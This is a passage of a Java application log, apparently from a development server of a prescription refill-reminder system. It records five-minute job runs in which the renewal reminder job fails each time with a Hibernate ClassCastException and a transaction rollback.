NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at 